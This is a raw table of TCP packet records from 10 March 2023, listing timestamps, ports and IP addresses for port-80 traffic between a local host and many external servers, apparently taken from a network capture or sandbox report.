Mar 10, 2023 07:54:54.413105965 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.413121939 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.413147926 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.413173914 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.428576946 CET	49926	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:54.445072889 CET	49927	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:54.469230890 CET	49928	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:54.469362974 CET	80	49927	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:54.471353054 CET	49927	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:54.472543001 CET	49927	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:54.476138115 CET	80	49926	195.78.66.50	192.168.2.6
Mar 10, 2023 07:54:54.477138042 CET	49926	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:54.480134010 CET	49926	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:54.482819080 CET	80	49848	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.483899117 CET	49848	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.485611916 CET	80	49915	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:54.485740900 CET	49915	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:54.496814966 CET	80	49927	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:54.497488976 CET	80	49927	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:54.497610092 CET	49927	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:54.501527071 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.501650095 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.501682997 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.501713991 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.501743078 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.501744032 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.501771927 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.501787901 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.501801014 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.501801968 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.501827955 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.501853943 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.501866102 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.501899004 CET	80	49928	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:54.501910925 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.501986027 CET	49928	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:54.511056900 CET	80	49923	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:54.511131048 CET	49923	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:54.525535107 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.525567055 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.525584936 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.525772095 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.525815964 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527445078 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527487040 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527517080 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527534962 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527545929 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527574062 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527574062 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527576923 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527601957 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527606010 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527630091 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527635098 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527656078 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527661085 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527689934 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527695894 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527718067 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527724028 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527748108 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527750015 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527767897 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527776957 CET	80	49926	195.78.66.50	192.168.2.6
Mar 10, 2023 07:54:54.527806997 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527832031 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527853012 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527878046 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527884960 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527899027 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527905941 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.527936935 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.527949095 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.528531075 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.528567076 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.528594971 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.528604031 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.528620005 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.528626919 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.528645039 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.528682947 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.529361963 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.529396057 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.529438019 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.529438019 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.530190945 CET	80	49926	195.78.66.50	192.168.2.6
Mar 10, 2023 07:54:54.530287027 CET	49926	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:54.615590096 CET	49928	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:54.639617920 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.639658928 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.639688969 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.639718056 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.639743090 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.639769077 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.639883041 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.639925957 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.640208960 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.640239000 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.640269041 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.640302896 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.640319109 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.640660048 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.640691996 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.640738010 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.640755892 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.640772104 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.640790939 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.640819073 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.641539097 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.641571999 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.641598940 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.641628027 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.641628027 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.641652107 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.642208099 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.642249107 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.642254114 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.642286062 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.642304897 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.642307997 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.642328978 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.642359018 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.642374992 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.642857075 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.642924070 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.642976999 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.643011093 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.643032074 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.643040895 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.643064022 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.643090963 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.643632889 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.643671989 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.643702030 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.643739939 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.643749952 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.643789053 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.643789053 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.644406080 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.644442081 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.644473076 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.644506931 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.644515038 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.644556046 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.644556046 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.645180941 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.645211935 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.645240068 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.645267010 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.645272017 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.645292997 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.645317078 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.645935059 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.645965099 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.646004915 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.646044016 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.646055937 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.646078110 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.646363974 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.646848917 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.646881104 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.646910906 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.646934032 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.646944046 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.646964073 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.646987915 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.647221088 CET	80	49925	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:54.647248983 CET	80	49925	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:54.647280931 CET	49925	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:54.647330046 CET	49925	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:54.647603035 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.647640944 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.647659063 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.647669077 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.647677898 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.647701979 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.647710085 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.647747993 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.648227930 CET	80	49928	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:54.648261070 CET	80	49928	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:54.648329973 CET	49928	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:54.686403990 CET	49925	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:54.703309059 CET	80	49925	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:54.729639053 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729688883 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729717016 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729747057 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729780912 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729811907 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729841948 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729855061 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.729868889 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729899883 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729902029 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.729932070 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729945898 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.729965925 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729988098 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.729995012 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.729996920 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.730019093 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.730027914 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.730058908 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.730062962 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.730083942 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.730086088 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.730117083 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.730123043 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.730148077 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.730190039 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.748791933 CET	49929	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:54.753566027 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.753607988 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.753638029 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.753671885 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.753710032 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.753786087 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.753849030 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.753874063 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.753904104 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.753941059 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.753972054 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.754199982 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.754235029 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.754264116 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.754268885 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.754293919 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.754316092 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.754323959 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.754354000 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.754380941 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.755038977 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.755074978 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.755099058 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.755099058 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.755115986 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.755151987 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.755429029 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.755467892 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.755482912 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.755497932 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.755516052 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.755527973 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.755549908 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.755551100 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.755587101 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.755606890 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.756318092 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.756356955 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.756392002 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.756423950 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.756448984 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.756485939 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.756521940 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.757236004 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.757273912 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.757302046 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.757304907 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.757324934 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.757338047 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.757361889 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.757370949 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.757391930 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.757412910 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.758090019 CET	80	49921	104.21.66.46	192.168.2.6
Mar 10, 2023 07:54:54.758168936 CET	49921	80	192.168.2.6	104.21.66.46
Mar 10, 2023 07:54:54.822026968 CET	49928	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:54.854629040 CET	80	49928	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:54.854664087 CET	80	49928	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:54.854737043 CET	49928	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:54.859357119 CET	80	49925	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:54.859391928 CET	80	49925	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:54.868987083 CET	49925	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:54.903162956 CET	80	49929	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:54.905133009 CET	49929	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:54.957309961 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957390070 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957439899 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957483053 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957526922 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957571983 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957601070 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.957613945 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957658052 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957664967 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.957685947 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.957700968 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957709074 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.957747936 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957792044 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957794905 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.957834005 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957845926 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.957878113 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957922935 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957931995 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.957967043 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.957972050 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958009958 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958012104 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958054066 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958096027 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958098888 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958138943 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958153009 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958182096 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958225012 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958233118 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958266020 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958267927 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958309889 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958312035 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958354950 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958396912 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958398104 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958439112 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958482981 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958482981 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958525896 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958571911 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958574057 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958619118 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958661079 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958674908 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958713055 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.958723068 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:54.958775997 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:54.991580009 CET	80	49877	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:54.991736889 CET	49877	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:54.992882013 CET	49929	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:55.123188972 CET	80	49878	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:55.123392105 CET	49878	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:55.135997057 CET	49931	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:55.147187948 CET	80	49929	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:55.147219896 CET	80	49929	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:55.147351027 CET	49929	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:55.147351980 CET	49929	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:55.154617071 CET	80	49931	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:55.154752016 CET	49931	80	192.168.2.6	13.248.216.40
